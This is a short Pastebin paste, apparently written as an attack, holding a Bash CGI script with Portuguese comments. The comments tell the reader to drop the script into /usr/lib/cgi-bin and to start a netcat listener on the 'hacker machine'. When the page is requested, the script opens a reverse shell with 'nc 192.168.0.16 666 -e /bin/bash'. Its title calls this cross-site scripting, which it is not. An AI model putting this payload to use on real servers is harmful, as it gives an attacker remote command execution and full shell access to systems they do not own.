DarkProgrammer000

Xss [reverse shell + CGI]

Jul 9th, 2021 (edited)
565
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.48 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. '''
  4. Somente um teste de CGI
  5. Colocar dentro da pasta /usr/lib/cgi-bin
  6. Executar como cross site scripting
  7. Ativar na maquina hacker: nc -lvp 666
  8. '''
  9.  
  10. echo "content-type: text/html
  11.  
  12. <html>
  13. <head> <meta charset='utf-8' /> <title> CGI script </title> </head>
  14.  
  15. <body>
  16.        <h1> Algumas informações dentro do servidor em  o CGI está rodando:</h1>
  17.        <h4> Reverse Shell com netcat </h4>
  18.  
  19.        <pre>$(nc 192.168.0.16 666 -e /bin/bash)</pre>
  20. </body>
  21. </html>"
Add Comment
Please, Sign In to add comment